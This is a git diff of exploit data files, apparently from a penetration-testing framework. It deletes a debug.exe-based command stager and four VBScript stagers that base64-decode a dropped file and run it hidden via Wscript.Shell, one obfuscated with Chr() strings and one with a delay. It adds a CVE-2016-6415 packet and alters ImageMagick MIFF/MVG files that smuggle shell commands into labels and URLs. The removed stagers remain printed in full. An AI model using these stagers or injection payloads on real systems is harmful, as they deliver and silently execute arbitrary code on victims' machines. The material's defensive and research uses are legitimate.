-echo e b00 85 18 7c 48 >>decoder_stub
-echo e b08 02 >>decoder_stub
-echo e b0c 53 >>decoder_stub
-echo e b10 18 28 >>decoder_stub
-echo e b14 18 0a >>decoder_stub
-echo e b18 52 53 44 53 e8 fc 2e 9d aa 52 59 42 a5 63 1e b1 c8 f6 59 23 >>decoder_stub
-echo e b2c 03 >>decoder_stub
-echo e b30 53 3a 5c 73 74 75 66 66 5c 70 72 6f 67 72 61 6d 6d 69 6e 67 >>decoder_stub
-echo e b44 5c 68 65 78 32 62 69 6e 5c 68 65 78 32 62 69 6e 5c 6f 62 6a >>decoder_stub
-echo e b58 5c 44 65 62 75 67 5c 68 65 78 32 62 69 6e 2e 70 64 62 >>decoder_stub
-echo e b6c 94 28 >>decoder_stub
-echo e b78 ae 28 >>decoder_stub
-echo e b7d 20 >>decoder_stub
-echo e b94 a0 28 >>decoder_stub
-echo e ba2 5f 43 6f 72 45 78 65 4d 61 69 6e >>decoder_stub
-echo e bae 6d 73 63 6f 72 65 65 2e 64 6c 6c >>decoder_stub
-echo e bbe ff 25 >>decoder_stub
-echo e bc1 20 40 >>decoder_stub
-echo e d0e 02 >>decoder_stub
-echo e d10 10 >>decoder_stub
-echo e d14 20 >>decoder_stub
-echo e d17 80 18 >>decoder_stub
-echo e d1c 38 >>decoder_stub
-echo e d1f 80 >>decoder_stub
-echo e d2e 01 >>decoder_stub
-echo e d30 01 >>decoder_stub
-echo e d34 50 >>decoder_stub
-echo e d37 80 >>decoder_stub
-echo e d46 01 >>decoder_stub
-echo e d48 01 >>decoder_stub
-echo e d4c 68 >>decoder_stub
-echo e d4f 80 >>decoder_stub
-echo e d5e 01 >>decoder_stub
-echo e d64 80 >>decoder_stub
-echo e d76 01 >>decoder_stub
-echo e d7c 90 >>decoder_stub
-echo e d80 a0 40 >>decoder_stub
-echo e d84 a0 02 >>decoder_stub
-echo e d90 40 43 >>decoder_stub
-echo e d94 ea 01 >>decoder_stub
-echo e da0 a0 02 34 >>decoder_stub
-echo e da6 56 >>decoder_stub
-echo e da8 53 >>decoder_stub
-echo e daa 5f >>decoder_stub
-echo e dac 56 >>decoder_stub
-echo e dae 45 >>decoder_stub
-echo e db0 52 >>decoder_stub
-echo e db2 53 >>decoder_stub
-echo e db4 49 >>decoder_stub
-echo e db6 4f >>decoder_stub
-echo e db8 4e >>decoder_stub
-echo e dba 5f >>decoder_stub
-echo e dbc 49 >>decoder_stub
-echo e dbe 4e >>decoder_stub
-echo e dc0 46 >>decoder_stub
-echo e dc2 4f >>decoder_stub
-echo e dc8 bd 04 ef fe >>decoder_stub
-echo e dce 01 >>decoder_stub
-echo e dd2 01 >>decoder_stub
-echo e dda 01 >>decoder_stub
-echo e de0 3f >>decoder_stub
-echo e de8 04 >>decoder_stub
-echo e dec 01 >>decoder_stub
-echo e dfc 44 >>decoder_stub
-echo e e00 01 >>decoder_stub
-echo e e02 56 >>decoder_stub
-echo e e04 61 >>decoder_stub
-echo e e06 72 >>decoder_stub
-echo e e08 46 >>decoder_stub
-echo e e0a 69 >>decoder_stub
-echo e e0c 6c >>decoder_stub
-echo e e0e 65 >>decoder_stub
-echo e e10 49 >>decoder_stub
-echo e e12 6e >>decoder_stub
-echo e e14 66 >>decoder_stub
-echo e e16 6f >>decoder_stub
-echo e e1c 24 >>decoder_stub
-echo e e1e 04 >>decoder_stub
-echo e e22 54 >>decoder_stub
-echo e e24 72 >>decoder_stub
-echo e e26 61 >>decoder_stub
-echo e e28 6e >>decoder_stub
-echo e e2a 73 >>decoder_stub
-echo e e2c 6c >>decoder_stub
-echo e e2e 61 >>decoder_stub
-echo e e30 74 >>decoder_stub
-echo e e32 69 >>decoder_stub
-echo e e34 6f >>decoder_stub
-echo e e36 6e >>decoder_stub
-echo e e3e b0 04 >>decoder_stub
-echo e e41 02 >>decoder_stub
-echo e e44 01 >>decoder_stub
-echo e e46 53 >>decoder_stub
-echo e e48 74 >>decoder_stub
-echo e e4a 72 >>decoder_stub
-echo e e4c 69 >>decoder_stub
-echo e e4e 6e >>decoder_stub
-echo e e50 67 >>decoder_stub
-echo e e52 46 >>decoder_stub
-echo e e54 69 >>decoder_stub
-echo e e56 6c >>decoder_stub
-echo e e58 65 >>decoder_stub
-echo e e5a 49 >>decoder_stub
-echo e e5c 6e >>decoder_stub
-echo e e5e 66 >>decoder_stub
-echo e e60 6f >>decoder_stub
-echo e e64 dc 01 >>decoder_stub
-echo e e68 01 >>decoder_stub
-echo e e6a 30 >>decoder_stub
-echo e e6c 30 >>decoder_stub
-echo e e6e 30 >>decoder_stub
-echo e e70 30 >>decoder_stub
-echo e e72 30 >>decoder_stub
-echo e e74 34 >>decoder_stub
-echo e e76 62 >>decoder_stub
-echo e e78 30 >>decoder_stub
-echo e e7c 38 >>decoder_stub
-echo e e7e 08 >>decoder_stub
-echo e e80 01 >>decoder_stub
-echo e e82 46 >>decoder_stub
-echo e e84 69 >>decoder_stub
-echo e e86 6c >>decoder_stub
-echo e e88 65 >>decoder_stub
-echo e e8a 44 >>decoder_stub
-echo e e8c 65 >>decoder_stub
-echo e e8e 73 >>decoder_stub
-echo e e90 63 >>decoder_stub
-echo e e92 72 >>decoder_stub
-echo e e94 69 >>decoder_stub
-echo e e96 70 >>decoder_stub
-echo e e98 74 >>decoder_stub
-echo e e9a 69 >>decoder_stub
-echo e e9c 6f >>decoder_stub
-echo e e9e 6e >>decoder_stub
-echo e ea4 68 >>decoder_stub
-echo e ea6 65 >>decoder_stub
-echo e ea8 78 >>decoder_stub
-echo e eaa 32 >>decoder_stub
-echo e eac 62 >>decoder_stub
-echo e eae 69 >>decoder_stub
-echo e eb0 6e >>decoder_stub
-echo e eb4 30 >>decoder_stub
-echo e eb6 08 >>decoder_stub
-echo e eb8 01 >>decoder_stub
-echo e eba 46 >>decoder_stub
-echo e ebc 69 >>decoder_stub
-echo e ebe 6c >>decoder_stub
-echo e ec0 65 >>decoder_stub
-echo e ec2 56 >>decoder_stub
-echo e ec4 65 >>decoder_stub
-echo e ec6 72 >>decoder_stub
-echo e ec8 73 >>decoder_stub
-echo e eca 69 >>decoder_stub
-echo e ecc 6f >>decoder_stub
-echo e ece 6e >>decoder_stub
-echo e ed4 31 >>decoder_stub
-echo e ed6 2e >>decoder_stub
-echo e ed8 30 >>decoder_stub
-echo e eda 2e >>decoder_stub
-echo e edc 30 >>decoder_stub
-echo e ede 2e >>decoder_stub
-echo e ee0 30 >>decoder_stub
-echo e ee4 38 >>decoder_stub
-echo e ee6 0c >>decoder_stub
-echo e ee8 01 >>decoder_stub
-echo e eea 49 >>decoder_stub
-echo e eec 6e >>decoder_stub
-echo e eee 74 >>decoder_stub
-echo e ef0 65 >>decoder_stub
-echo e ef2 72 >>decoder_stub
-echo e ef4 6e >>decoder_stub
-echo e ef6 61 >>decoder_stub
-echo e ef8 6c >>decoder_stub
-echo e efa 4e >>decoder_stub
-echo e efc 61 >>decoder_stub
-echo e efe 6d >>decoder_stub
-echo e f00 65 >>decoder_stub
-echo e f04 68 >>decoder_stub
-echo e f06 65 >>decoder_stub
-echo e f08 78 >>decoder_stub
-echo e f0a 32 >>decoder_stub
-echo e f0c 62 >>decoder_stub
-echo e f0e 69 >>decoder_stub
-echo e f10 6e >>decoder_stub
-echo e f12 2e >>decoder_stub
-echo e f14 65 >>decoder_stub
-echo e f16 78 >>decoder_stub
-echo e f18 65 >>decoder_stub
-echo e f1c 48 >>decoder_stub
-echo e f1e 12 >>decoder_stub
-echo e f20 01 >>decoder_stub
-echo e f22 4c >>decoder_stub
-echo e f24 65 >>decoder_stub
-echo e f26 67 >>decoder_stub
-echo e f28 61 >>decoder_stub
-echo e f2a 6c >>decoder_stub
-echo e f2c 43 >>decoder_stub
-echo e f2e 6f >>decoder_stub
-echo e f30 70 >>decoder_stub
-echo e f32 79 >>decoder_stub
-echo e f34 72 >>decoder_stub
-echo e f36 69 >>decoder_stub
-echo e f38 67 >>decoder_stub
-echo e f3a 68 >>decoder_stub
-echo e f3c 74 >>decoder_stub
-echo e f40 43 >>decoder_stub
-echo e f42 6f >>decoder_stub
-echo e f44 70 >>decoder_stub
-echo e f46 79 >>decoder_stub
-echo e f48 72 >>decoder_stub
-echo e f4a 69 >>decoder_stub
-echo e f4c 67 >>decoder_stub
-echo e f4e 68 >>decoder_stub
-echo e f50 74 >>decoder_stub
-echo e f52 20 >>decoder_stub
-echo e f54 a9 >>decoder_stub
-echo e f56 20 >>decoder_stub
-echo e f58 20 >>decoder_stub
-echo e f5a 32 >>decoder_stub
-echo e f5c 30 >>decoder_stub
-echo e f5e 30 >>decoder_stub
-echo e f60 38 >>decoder_stub
-echo e f64 40 >>decoder_stub
-echo e f66 0c >>decoder_stub
-echo e f68 01 >>decoder_stub
-echo e f6a 4f >>decoder_stub
-echo e f6c 72 >>decoder_stub
-echo e f6e 69 >>decoder_stub
-echo e f70 67 >>decoder_stub
-echo e f72 69 >>decoder_stub
-echo e f74 6e >>decoder_stub
-echo e f76 61 >>decoder_stub
-echo e f78 6c >>decoder_stub
-echo e f7a 46 >>decoder_stub
-echo e f7c 69 >>decoder_stub
-echo e f7e 6c >>decoder_stub
-echo e f80 65 >>decoder_stub
-echo e f82 6e >>decoder_stub
-echo e f84 61 >>decoder_stub
-echo e f86 6d >>decoder_stub
-echo e f88 65 >>decoder_stub
-echo e f8c 68 >>decoder_stub
-echo e f8e 65 >>decoder_stub
-echo e f90 78 >>decoder_stub
-echo e f92 32 >>decoder_stub
-echo e f94 62 >>decoder_stub
-echo e f96 69 >>decoder_stub
-echo e f98 6e >>decoder_stub
-echo e f9a 2e >>decoder_stub
-echo e f9c 65 >>decoder_stub
-echo e f9e 78 >>decoder_stub
-echo e fa0 65 >>decoder_stub
-echo e fa4 30 >>decoder_stub
-echo e fa6 08 >>decoder_stub
-echo e fa8 01 >>decoder_stub
-echo e faa 50 >>decoder_stub
-echo e fac 72 >>decoder_stub
-echo e fae 6f >>decoder_stub
-echo e fb0 64 >>decoder_stub
-echo e fb2 75 >>decoder_stub
-echo e fb4 63 >>decoder_stub
-echo e fb6 74 >>decoder_stub
-echo e fb8 4e >>decoder_stub
-echo e fba 61 >>decoder_stub
-echo e fbc 6d >>decoder_stub
-echo e fbe 65 >>decoder_stub
-echo e fc4 68 >>decoder_stub
-echo e fc6 65 >>decoder_stub
-echo e fc8 78 >>decoder_stub
-echo e fca 32 >>decoder_stub
-echo e fcc 62 >>decoder_stub
-echo e fce 69 >>decoder_stub
-echo e fd0 6e >>decoder_stub
-echo e fd4 34 >>decoder_stub
-echo e fd6 08 >>decoder_stub
-echo e fd8 01 >>decoder_stub
-echo e fda 50 >>decoder_stub
-echo e fdc 72 >>decoder_stub
-echo e fde 6f >>decoder_stub
-echo e fe0 64 >>decoder_stub
-echo e fe2 75 >>decoder_stub
-echo e fe4 63 >>decoder_stub
-echo e fe6 74 >>decoder_stub
-echo e fe8 56 >>decoder_stub
-echo e fea 65 >>decoder_stub
-echo e fec 72 >>decoder_stub
-echo e fee 73 >>decoder_stub
-echo e ff0 69 >>decoder_stub
-echo e ff2 6f >>decoder_stub
-echo e ff4 6e >>decoder_stub
-echo e ff8 31 >>decoder_stub
-echo e ffa 2e >>decoder_stub
-echo e ffc 30 >>decoder_stub
-echo e ffe 2e >>decoder_stub
-echo e 1000 30 >>decoder_stub
-echo e 1002 2e >>decoder_stub
-echo e 1004 30 >>decoder_stub
-echo e 1008 38 >>decoder_stub
-echo e 100a 08 >>decoder_stub
-echo e 100c 01 >>decoder_stub
-echo e 100e 41 >>decoder_stub
-echo e 1010 73 >>decoder_stub
-echo e 1012 73 >>decoder_stub
-echo e 1014 65 >>decoder_stub
-echo e 1016 6d >>decoder_stub
-echo e 1018 62 >>decoder_stub
-echo e 101a 6c >>decoder_stub
-echo e 101c 79 >>decoder_stub
-echo e 101e 20 >>decoder_stub
-echo e 1020 56 >>decoder_stub
-echo e 1022 65 >>decoder_stub
-echo e 1024 72 >>decoder_stub
-echo e 1026 73 >>decoder_stub
-echo e 1028 69 >>decoder_stub
-echo e 102a 6f >>decoder_stub
-echo e 102c 6e >>decoder_stub
-echo e 1030 31 >>decoder_stub
-echo e 1032 2e >>decoder_stub
-echo e 1034 30 >>decoder_stub
-echo e 1036 2e >>decoder_stub
-echo e 1038 30 >>decoder_stub
-echo e 103a 2e >>decoder_stub
-echo e 103c 30 >>decoder_stub
-echo e 1040 ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e >>decoder_stub
-echo e 1054 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 20 >>decoder_stub
-echo e 1068 73 74 61 6e 64 61 6c 6f 6e 65 3d 22 79 65 73 22 3f 3e 0d 0a >>decoder_stub
-echo e 107c 3c 61 73 73 65 6d 62 6c 79 20 78 6d 6c 6e 73 3d 22 75 72 6e >>decoder_stub
-echo e 1090 3a 73 63 68 65 6d 61 73 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 >>decoder_stub
-echo e 10a4 6f 6d 3a 61 73 6d 2e 76 31 22 20 6d 61 6e 69 66 65 73 74 56 >>decoder_stub
-echo e 10b8 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 0d 0a 20 20 3c 61 73 >>decoder_stub
-echo e 10cc 73 65 6d 62 6c 79 49 64 65 6e 74 69 74 79 20 76 65 72 73 69 >>decoder_stub
-echo e 10e0 6f 6e 3d 22 31 2e 30 2e 30 2e 30 22 20 6e 61 6d 65 3d 22 4d >>decoder_stub
-echo e 10f4 79 41 70 70 6c 69 63 61 74 69 6f 6e 2e 61 70 70 22 2f 3e 0d >>decoder_stub
-echo e 1108 0a 20 20 3c 74 72 75 73 74 49 6e 66 6f 20 78 6d 6c 6e 73 3d >>decoder_stub
-echo e 111c 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 6d 69 63 72 6f 73 6f >>decoder_stub
-echo e 1130 66 74 2d 63 6f 6d 3a 61 73 6d 2e 76 32 22 3e 0d 0a 20 20 20 >>decoder_stub
-echo e 1144 20 3c 73 65 63 75 72 69 74 79 3e 0d 0a 20 20 20 20 20 20 3c >>decoder_stub
-echo e 1158 72 65 71 75 65 73 74 65 64 50 72 69 76 69 6c 65 67 65 73 20 >>decoder_stub
-echo e 116c 78 6d 6c 6e 73 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 6d >>decoder_stub
-echo e 1180 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 3a 61 73 6d 2e 76 33 22 >>decoder_stub
-echo e 1194 3e 0d 0a 20 20 20 20 20 20 20 20 3c 72 65 71 75 65 73 74 65 >>decoder_stub
-echo e 11a8 64 45 78 65 63 75 74 69 6f 6e 4c 65 76 65 6c 20 6c 65 76 65 >>decoder_stub
-echo e 11bc 6c 3d 22 61 73 49 6e 76 6f 6b 65 72 22 20 75 69 41 63 63 65 >>decoder_stub
-echo e 11d0 73 73 3d 22 66 61 6c 73 65 22 2f 3e 0d 0a 20 20 20 20 20 20 >>decoder_stub
-echo e 11e4 3c 2f 72 65 71 75 65 73 74 65 64 50 72 69 76 69 6c 65 67 65 >>decoder_stub
-echo e 11f8 73 3e 0d 0a 20 20 20 20 3c 2f 73 65 63 75 72 69 74 79 3e 0d >>decoder_stub
-echo e 120c 0a 20 20 3c 2f 74 72 75 73 74 49 6e 66 6f 3e 0d 0a 3c 2f 61 >>decoder_stub
-echo e 1220 73 73 65 6d 62 6c 79 3e 0d 0a >>decoder_stub
-echo e 1301 20 >>decoder_stub
-echo e 1304 0c >>decoder_stub
-echo e 1308 c0 38 >>decoder_stub
-echo w >>decoder_stub
-echo q >>decoder_stub
diff --git a/data/exploits/cmdstager/vbs_b64 b/data/exploits/cmdstager/vbs_b64
deleted file mode 100755
index a6fbb35176..0000000000
--- a/data/exploits/cmdstager/vbs_b64
+++ /dev/null
@@ -1,40 +0,0 @@
-echo Set fs = CreateObject("Scripting.FileSystemObject") >>decode_stub
-echo Set file = fs.GetFile("ENCODED") >>decode_stub
-echo If file.Size Then >>decode_stub
-echo Set fd = fs.OpenTextFile("ENCODED", 1) >>decode_stub
-echo data = fd.ReadAll >>decode_stub
-echo data = Replace(data, vbCrLf, "") >>decode_stub
-echo data = base64_decode(data) >>decode_stub
-echo fd.Close >>decode_stub
-echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile("DECODED", 2, True) >>decode_stub
-echo ofs.Write data >>decode_stub
-echo ofs.close >>decode_stub
-echo Set shell = CreateObject("Wscript.Shell") >>decode_stub
-echo shell.run "DECODED", 0, false >>decode_stub
-echo Else >>decode_stub
-echo Wscript.Echo "The file is empty." >>decode_stub
-echo End If >>decode_stub
-echo Function base64_decode(byVal strIn) >>decode_stub
-echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
-echo For n = 1 To Len(strIn) Step 4 >>decode_stub
-echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
-echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
-echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
-echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
-echo If Not w2 Then _ >>decode_stub
-echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
-echo If Not w3 Then _ >>decode_stub
-echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
-echo If Not w4 Then _ >>decode_stub
-echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
-echo Next >>decode_stub
-echo base64_decode = strOut >>decode_stub
-echo End Function >>decode_stub
-echo Function mimedecode(byVal strIn) >>decode_stub
-echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>decode_stub
-echo If Len(strIn) = 0 Then >>decode_stub
-echo mimedecode = -1 : Exit Function >>decode_stub
-echo Else >>decode_stub
-echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
-echo End If >>decode_stub
-echo End Function >>decode_stub
diff --git a/data/exploits/cmdstager/vbs_b64_adodb b/data/exploits/cmdstager/vbs_b64_adodb
deleted file mode 100755
index 41299782f4..0000000000
--- a/data/exploits/cmdstager/vbs_b64_adodb
+++ /dev/null
@@ -1,50 +0,0 @@
-echo Dim var_origLoc >>decode_stub
-echo var_origLoc = SetLocale(1033) >>decode_stub
-echo Set fs = CreateObject("Scripting.FileSystemObject") >>decode_stub
-echo Set file = fs.GetFile("ENCODED") >>decode_stub
-echo If file.Size Then >>decode_stub
-echo Set fd = fs.OpenTextFile("ENCODED", 1) >>decode_stub
-echo data = fd.ReadAll >>decode_stub
-echo data = Replace(data, vbCrLf, "") >>decode_stub
-echo data = base64_decode(data) >>decode_stub
-echo fd.Close >>decode_stub
-echo Dim var_strmConv, var_writedir, var_writestream >>decode_stub
-echo var_writedir = "DECODED" >>decode_stub
-echo Set var_strmConv = CreateObject("ADODB.Stream") >>decode_stub
-echo var_strmConv.Type = 2 >>decode_stub
-echo var_strmConv.Charset = "x-ansi" >>decode_stub
-echo var_strmConv.Open >>decode_stub
-echo var_strmConv.WriteText data, 0 >>decode_stub
-echo var_strmConv.Position = 0 >>decode_stub
-echo var_strmConv.Type = 1 >>decode_stub
-echo var_strmConv.SaveToFile var_writedir, 2 >>decode_stub
-echo SetLocale(var_origLoc) >>decode_stub
-echo Set shell = CreateObject("Wscript.Shell") >>decode_stub
-echo shell.run "DECODED", 0, false >>decode_stub
-echo Else >>decode_stub
-echo Wscript.Echo "The file is empty." >>decode_stub
-echo End If >>decode_stub
-echo Function base64_decode(byVal strIn) >>decode_stub
-echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
-echo For n = 1 To Len(strIn) Step 4 >>decode_stub
-echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
-echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
-echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
-echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
-echo If Not w2 Then _ >>decode_stub
-echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
-echo If Not w3 Then _ >>decode_stub
-echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
-echo If Not w4 Then _ >>decode_stub
-echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
-echo Next >>decode_stub
-echo base64_decode = strOut >>decode_stub
-echo End Function >>decode_stub
-echo Function mimedecode(byVal strIn) >>decode_stub
-echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>decode_stub
-echo If Len(strIn) = 0 Then >>decode_stub
-echo mimedecode = -1 : Exit Function >>decode_stub
-echo Else >>decode_stub
-echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
-echo End If >>decode_stub
-echo End Function >>decode_stub
diff --git a/data/exploits/cmdstager/vbs_b64_noquot b/data/exploits/cmdstager/vbs_b64_noquot
deleted file mode 100755
index 738a7b6c1d..0000000000
--- a/data/exploits/cmdstager/vbs_b64_noquot
+++ /dev/null
@@ -1,49 +0,0 @@
-echo Dim encodedFile, decodedFile, scriptingFS, scriptShell, emptyString, tempString, Base64Chars, tempDir >>decode_stub
-echo encodedFile = Chr(92)+CHRENCFILE >>decode_stub
-echo decodedFile = Chr(92)+CHRDECFILE >>decode_stub
-echo scriptingFS = Chr(83)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(105)+Chr(110)+Chr(103)+Chr(46)+Chr(70)+Chr(105)+Chr(108)+Chr(101)+Chr(83)+Chr(121)+Chr(115)+Chr(116)+Chr(101)+Chr(109)+Chr(79)+Chr(98)+Chr(106)+Chr(101)+Chr(99)+Chr(116) >>decode_stub
-echo scriptShell = Chr(87)+Chr(115)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(46)+Chr(83)+Chr(104)+Chr(101)+Chr(108)+Chr(108) >>decode_stub
-echo emptyString = Chr(84)+Chr(104)+Chr(101)+Chr(32)+Chr(102)+Chr(105)+Chr(108)+Chr(101)+Chr(32)+Chr(105)+Chr(115)+Chr(32)+Chr(101)+Chr(109)+Chr(112)+Chr(116)+Chr(121)+Chr(46)>>decode_stub
-echo tempString = Chr(37)+Chr(84)+Chr(69)+Chr(77)+Chr(80)+Chr(37) >>decode_stub
-echo Base64Chars = Chr(65)+Chr(66)+Chr(67)+Chr(68)+Chr(69)+Chr(70)+Chr(71)+Chr(72)+Chr(73)+Chr(74)+Chr(75)+Chr(76)+Chr(77)+Chr(78)+Chr(79)+Chr(80)+Chr(81)+Chr(82)+Chr(83)+Chr(84)+Chr(85)+Chr(86)+Chr(87)+Chr(88)+Chr(89)+Chr(90)+Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+Chr(103)+Chr(104)+Chr(105)+Chr(106)+Chr(107)+Chr(108)+Chr(109)+Chr(110)+Chr(111)+Chr(112)+Chr(113)+Chr(114)+Chr(115)+Chr(116)+Chr(117)+Chr(118)+Chr(119)+Chr(120)+Chr(121)+Chr(122)+Chr(48)+Chr(49)+Chr(50)+Chr(51)+Chr(52)+Chr(53)+Chr(54)+Chr(55)+Chr(56)+Chr(57)+Chr(43)+Chr(47) >>decode_stub
-echo Set wshShell = CreateObject(scriptShell) >>decode_stub
-echo tempDir = wshShell.ExpandEnvironmentStrings(tempString) >>decode_stub
-echo Set fs = CreateObject(scriptingFS) >>decode_stub
-echo Set file = fs.GetFile(tempDir+encodedFile) >>decode_stub
-echo If file.Size Then >>decode_stub
-echo Set fd = fs.OpenTextFile(tempDir+encodedFile, 1) >>decode_stub
-echo data = fd.ReadAll >>decode_stub
-echo data = Replace(data, Chr(32)+vbCrLf, nil) >>decode_stub
-echo data = Replace(data, vbCrLf, nil) >>decode_stub
-echo data = base64_decode(data) >>decode_stub
-echo fd.Close >>decode_stub
-echo Set ofs = CreateObject(scriptingFS).OpenTextFile(tempDir+decodedFile, 2, True) >>decode_stub
-echo ofs.Write data >>decode_stub
-echo ofs.close >>decode_stub
-echo wshShell.run tempDir+decodedFile, 0, false >>decode_stub
-echo Else >>decode_stub
-echo Wscript.Echo emptyString >>decode_stub
-echo End If >>decode_stub
-echo Function base64_decode(byVal strIn) >>decode_stub
-echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
-echo For n = 1 To Len(strIn) Step 4 >>decode_stub
-echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
-echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
-echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
-echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
-echo If Not w2 Then _ >>decode_stub
-echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
-echo If Not w3 Then _ >>decode_stub
-echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
-echo If Not w4 Then _ >>decode_stub
-echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
-echo Next >>decode_stub
-echo base64_decode = strOut >>decode_stub
-echo End Function >>decode_stub
-echo Function mimedecode(byVal strIn) >>decode_stub
-echo If Len(strIn) = 0 Then >>decode_stub
-echo mimedecode = -1 : Exit Function >>decode_stub
-echo Else >>decode_stub
-echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
-echo End If >>decode_stub
-echo End Function >>decode_stub
diff --git a/data/exploits/cmdstager/vbs_b64_sleep b/data/exploits/cmdstager/vbs_b64_sleep
deleted file mode 100644
index 943ca29f35..0000000000
--- a/data/exploits/cmdstager/vbs_b64_sleep
+++ /dev/null
@@ -1,41 +0,0 @@
-echo Set fs = CreateObject("Scripting.FileSystemObject") >>decode_stub
-echo Set file = fs.GetFile("ENCODED") >>decode_stub
-echo If file.Size Then >>decode_stub
-echo Set fd = fs.OpenTextFile("ENCODED", 1) >>decode_stub
-echo data = fd.ReadAll >>decode_stub
-echo data = Replace(data, vbCrLf, "") >>decode_stub
-echo data = base64_decode(data) >>decode_stub
-echo fd.Close >>decode_stub
-echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile("DECODED", 2, True) >>decode_stub
-echo ofs.Write data >>decode_stub
-echo ofs.close >>decode_stub
-echo Set shell = CreateObject("Wscript.Shell") >>decode_stub
-echo shell.run "DECODED", 0, false >>decode_stub
-echo Wscript.sleep(1000 * 60 * 5) >>decode_stub
-echo Else >>decode_stub
-echo Wscript.Echo "The file is empty." >>decode_stub
-echo End If >>decode_stub
-echo Function base64_decode(byVal strIn) >>decode_stub
-echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
-echo For n = 1 To Len(strIn) Step 4 >>decode_stub
-echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
-echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
-echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
-echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
-echo If Not w2 Then _ >>decode_stub
-echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
-echo If Not w3 Then _ >>decode_stub
-echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
-echo If Not w4 Then _ >>decode_stub
-echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
-echo Next >>decode_stub
-echo base64_decode = strOut >>decode_stub
-echo End Function >>decode_stub
-echo Function mimedecode(byVal strIn) >>decode_stub
-echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>decode_stub
-echo If Len(strIn) = 0 Then >>decode_stub
-echo mimedecode = -1 : Exit Function >>decode_stub
-echo Else >>decode_stub
-echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
-echo End If >>decode_stub
-echo End Function >>decode_stub
diff --git a/data/exploits/cve-2016-6415/sendpacket.raw b/data/exploits/cve-2016-6415/sendpacket.raw
new file mode 100755
index 0000000000..4e20f7988d
Binary files /dev/null and b/data/exploits/cve-2016-6415/sendpacket.raw differ
diff --git a/data/exploits/imagemagick/delegate/msf.miff b/data/exploits/imagemagick/delegate/msf.miff
deleted file mode 100644
index faef4019ff..0000000000
--- a/data/exploits/imagemagick/delegate/msf.miff
+++ /dev/null
@@ -1,14 +0,0 @@
-id=ImageMagick version=1.0
-class=DirectClass colors=0 matte=False
-columns=1 rows=1 depth=16
-colorspace=sRGB
-page=1x1+0+0
-rendering-intent=Perceptual
-gamma=0.454545
-red-primary=0.64,0.33 green-primary=0.3,0.6 blue-primary=0.15,0.06
-white-point=0.3127,0.329
-date:create=2016-05-04T00:19:42-05:00
-date:modify=2016-05-04T00:19:42-05:00
-label={";echo vulnerable"}
-
-:ÿÿÿÿÿÿ
diff --git a/data/exploits/imagemagick/delegate/msf.mvg b/data/exploits/imagemagick/delegate/msf.mvg
index f53afc7afc..e05ef9e59a 100644
--- a/data/exploits/imagemagick/delegate/msf.mvg
+++ b/data/exploits/imagemagick/delegate/msf.mvg
@@ -3,6 +3,6 @@ encoding "UTF-8"
viewbox 0 0 1 1
affine 1 0 0 1 0 0
push graphic-context
-image Over 0,0 1,1 'https://localhost";echo vulnerable"'
+image Over 0,0 1,1 'https://localhost";echo vulnerable > /dev/tty"'
pop graphic-context
pop graphic-context
